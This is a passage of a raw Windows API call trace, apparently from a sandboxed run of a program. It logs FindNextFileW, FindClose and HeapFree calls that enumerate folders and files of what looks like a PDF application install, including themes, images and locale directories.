hFindFile=0x6eb6b0 | out: hFindFile=0x6eb6b0) returned 1 [0264.330] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0264.330] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfc5641f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x179063, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Multimedia.api", cAlternateFileName="MULTIM~1.API")) returned 1 [0264.331] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0264.331] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe05dfab0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x6edc63, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PPKLite.api", cAlternateFileName="")) returned 1 [0264.331] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0264.529] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x34102da0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdfc09f77, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdfc09f77, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plug_ins3d", cAlternateFileName="PLUG_I~1")) returned 1 [0264.529] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f47fe0 | out: hHeap=0x630000) returned 1 [0264.529] FindNextFileW (in: hFindFile=0x6ebaf0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfbe3d1f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x2437f0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="prcr.x3d", cAlternateFileName="")) returned 1 [0264.529] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0264.529] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x37adee54, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x1a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="pmd.cer", cAlternateFileName="")) returned 1 [0264.532] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0264.532] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19218da3, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0x19218da3, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x19218da3, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UIThemes", cAlternateFileName="")) returned 1 [0264.532] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0264.534] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x37b050b7, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x42a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ViewerPS.dll", cAlternateFileName="")) returned 1 [0264.546] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0264.546] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="libs", cAlternateFileName="")) returned 1 [0264.546] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0264.546] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="libs", cAlternateFileName="")) returned 0 [0264.546] FindClose (in: hFindFile=0x6eb7f0 | out: hFindFile=0x6eb7f0) returned 1 [0264.546] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0264.546] FindNextFileW (in: hFindFile=0x6ebbb0, lpFindFileData=0x3b2e69c | out: lpFindFileData=0x3b2e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x369ad2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dev", cAlternateFileName="")) returned 0 [0264.546] FindClose (in: hFindFile=0x6ebbb0 | out: hFindFile=0x6ebbb0) returned 1 [0264.547] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0264.547] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2e918 | out: lpFindFileData=0x3b2e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="core", cAlternateFileName="")) returned 1 [0264.547] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0264.547] FindNextFileW (in: hFindFile=0x6ebcb0, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="libs", cAlternateFileName="")) returned 1 [0264.547] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0264.547] FindNextFileW (in: hFindFile=0x6ebcb0, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="libs", cAlternateFileName="")) returned 0 [0264.547] FindClose (in: hFindFile=0x6ebcb0 | out: hFindFile=0x6ebcb0) returned 1 [0264.547] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0264.548] FindNextFileW (in: hFindFile=0x6ebb70, lpFindFileData=0x3b2e69c | out: lpFindFileData=0x3b2e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dev", cAlternateFileName="")) returned 0 [0264.548] FindClose (in: hFindFile=0x6ebb70 | out: hFindFile=0x6ebb70) returned 1 [0264.548] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0264.548] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2e918 | out: lpFindFileData=0x3b2e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="files", cAlternateFileName="")) returned 1 [0264.548] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0264.548] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="libs", cAlternateFileName="")) returned 1 [0264.548] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0264.548] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="libs", cAlternateFileName="")) returned 0 [0264.548] FindClose (in: hFindFile=0x6eb7f0 | out: hFindFile=0x6eb7f0) returned 1 [0264.548] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0264.549] FindNextFileW (in: hFindFile=0x6eb7b0, lpFindFileData=0x3b2e69c | out: lpFindFileData=0x3b2e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dev", cAlternateFileName="")) returned 0 [0264.549] FindClose (in: hFindFile=0x6eb7b0 | out: hFindFile=0x6eb7b0) returned 1 [0264.549] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0264.549] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2e918 | out: lpFindFileData=0x3b2e918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x9ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="main-cef-mac.css", cAlternateFileName="MAIN-C~2.CSS")) returned 1 [0264.549] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0264.551] FindNextFileW (in: hFindFile=0x6ebb30, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="images", cAlternateFileName="")) returned 1 [0264.632] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0264.632] FindNextFileW (in: hFindFile=0x6ebc30, lpFindFileData=0x3b2e69c | out: lpFindFileData=0x3b2e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 1 [0264.660] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0264.661] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0264.661] FindClose (in: hFindFile=0x6eb770 | out: hFindFile=0x6eb770) returned 1 [0264.661] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0264.661] FindNextFileW (in: hFindFile=0x6ebc30, lpFindFileData=0x3b2e69c | out: lpFindFileData=0x3b2e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0 [0264.661] FindClose (in: hFindFile=0x6ebc30 | out: hFindFile=0x6ebc30) returned 1 [0264.661] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0264.661] FindNextFileW (in: hFindFile=0x6ebb70, lpFindFileData=0x3b2e918 | out: lpFindFileData=0x3b2e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6955c5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6955c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6955c5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hi_contrast", cAlternateFileName="HI_CON~1")) returned 1 [0264.663] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0264.663] FindNextFileW (in: hFindFile=0x6ebb70, lpFindFileData=0x3b2e918 | out: lpFindFileData=0x3b2e918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1185, dwReserved0=0x0, dwReserved1=0x0, cFileName="illustrations.png", cAlternateFileName="ILLUST~2.PNG")) returned 1 [0264.694] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0264.694] FindNextFileW (in: hFindFile=0x6ebc30, lpFindFileData=0x3b2e69c | out: lpFindFileData=0x3b2e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee754143, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dark", cAlternateFileName="")) returned 0 [0264.694] FindClose (in: hFindFile=0x6ebc30 | out: hFindFile=0x6ebc30) returned 1 [0264.695] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0264.695] FindNextFileW (in: hFindFile=0x6ebb70, lpFindFileData=0x3b2e918 | out: lpFindFileData=0x3b2e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="win-scrollbar", cAlternateFileName="WIN-SC~1")) returned 1 [0264.960] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fd5b10 | out: hHeap=0x630000) returned 1 [0264.960] FindNextFileW (in: hFindFile=0x6ebbb0, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0264.960] FindClose (in: hFindFile=0x6ebbb0 | out: hFindFile=0x6ebbb0) returned 1 [0264.960] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0264.960] FindNextFileW (in: hFindFile=0x6ebc30, lpFindFileData=0x3b2e69c | out: lpFindFileData=0x3b2e69c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x114, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="vscroll-thumb.png", cAlternateFileName="VSCROL~1.PNG")) returned 1 [0264.960] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0264.960] FindNextFileW (in: hFindFile=0x6ebb70, lpFindFileData=0x3b2e918 | out: lpFindFileData=0x3b2e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="win8-scrollbar", cAlternateFileName="WIN8-S~1")) returned 1 [0265.133] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0265.133] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0265.133] FindClose (in: hFindFile=0x6eb8b0 | out: hFindFile=0x6eb8b0) returned 1 [0265.133] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0265.133] FindNextFileW (in: hFindFile=0x6eb7b0, lpFindFileData=0x3b2e69c | out: lpFindFileData=0x3b2e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0 [0265.133] FindClose (in: hFindFile=0x6eb7b0 | out: hFindFile=0x6eb7b0) returned 1 [0265.134] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fd5b10 | out: hHeap=0x630000) returned 1 [0265.134] FindNextFileW (in: hFindFile=0x6ebb70, lpFindFileData=0x3b2e918 | out: lpFindFileData=0x3b2e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="win8-scrollbar", cAlternateFileName="WIN8-S~1")) returned 0 [0265.134] FindClose (in: hFindFile=0x6ebb70 | out: hFindFile=0x6ebb70) returned 1 [0265.134] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0265.134] FindNextFileW (in: hFindFile=0x6ebb30, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="js", cAlternateFileName="")) returned 1 [0265.134] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54c0048 | out: hHeap=0x630000) returned 1 [0265.134] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ca-es", cAlternateFileName="")) returned 1 [0265.135] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54c0048 | out: hHeap=0x630000) returned 1 [0265.135] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0265.135] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54c0048 | out: hHeap=0x630000) returned 1 [0265.135] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="da-dk", cAlternateFileName="")) returned 1 [0265.135] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54c0048 | out: hHeap=0x630000) returned 1 [0265.135] FindNextFileW (in: hFindFile=0x6eb7f0, 